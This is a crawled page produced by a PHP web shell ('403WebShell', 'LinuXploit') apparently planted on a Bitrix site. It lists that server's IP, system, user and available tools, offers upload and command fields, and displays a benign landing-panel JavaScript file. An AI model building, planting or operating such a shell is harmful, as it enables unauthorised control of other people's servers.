%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.118.200.95
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/panel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/panel//edit_content_panel.js
;(function() {
	"use strict";

	BX.namespace("BX.Landing.UI.Panel");

	var SidebarButton = BX.Landing.UI.Button.SidebarButton;

	/**
	 * Implements interface for works with content edit panel
	 *
	 * @extends {BX.Landing.UI.Panel.Content}
	 *
	 * @param {string} id - Panel id
	 * @param {object} data
	 * @constructor
	 */
	BX.Landing.UI.Panel.ContentEdit = function(id, data)
	{
		BX.Landing.UI.Panel.Content.apply(this, arguments);
		this.layout.classList.add("landing-ui-panel-content-edit");
	};

	BX.Landing.UI.Panel.ContentEdit.showedPanel = null;


	BX.Landing.UI.Panel.ContentEdit.prototype = {
		constructor: BX.Landing.UI.Panel.ContentEdit,
		__proto__: BX.Landing.UI.Panel.Content.prototype,

		show: function()
		{
			BX.Landing.UI.Panel.ContentEdit.showedPanel = this;

			if (BX.Landing.UI.Panel.StylePanel.getInstance().isShown())
			{
				BX.Landing.UI.Panel.StylePanel.getInstance().hide().then(function() {
					BX.Landing.UI.Panel.Content.prototype.show.call(this);
				}.bind(this));
			}
			else
			{
				BX.Landing.UI.Panel.Content.prototype.show.call(this);
			}
		},

		/**
		 * Appends form to panel body
		 * @param {BX.Landing.UI.Form.BaseForm} form
		 */
		appendForm: function(form)
		{
			this.forms.add(form);
			this.content.appendChild(form.getNode());

			if (form.title)
			{
				var formButton = new SidebarButton(form.code, {
					text: form.title,
					empty: !form.fields.length,
					onClick: function()
					{
						this.scrollTo(form.layout);
					}.bind(this)
				});

				this.sidebarButtons.add(formButton);
				this.sidebar.appendChild(formButton.layout);
			}

			form.fields.forEach(function(field) {
				if (field.title)
				{
					var fieldButton = new SidebarButton(field.selector, {
						text: field.title,
						child: true,
						onClick: function(event)
						{
							event.preventDefault();
							event.stopPropagation();
							this.scrollTo(field.layout);
						}.bind(this)
					});
					this.sidebarButtons.add(fieldButton);
					this.sidebar.appendChild(fieldButton.layout);
				}
			}, this);
		},

		replaceForm: function(oldForm, newForm)
		{
			this.forms.remove(oldForm);
			this.forms.add(newForm);

			BX.replace(oldForm.getNode(), newForm.getNode());

			var formButton = this.sidebarButtons.get(oldForm.code);

			if (formButton)
			{
				var newFormButton = new SidebarButton(newForm.code, {
					text: newForm.title,
					empty: newForm.type === 'dynamicCards' || !newForm.fields.length,
					onClick: function()
					{
						this.scrollTo(newForm.layout);
					}.bind(this)
				});

				BX.replace(formButton.layout, newFormButton.layout);
				this.sidebarButtons.remove(formButton);
				this.sidebarButtons.add(newFormButton);
			}
		},

		compact: function(enable)
		{
			this.layout.classList[enable?"add":"remove"]("landing-ui-panel-content-edit-compact");
		}
	};
})();

Youez - 2016 - github.com/yon3zu
LinuXploit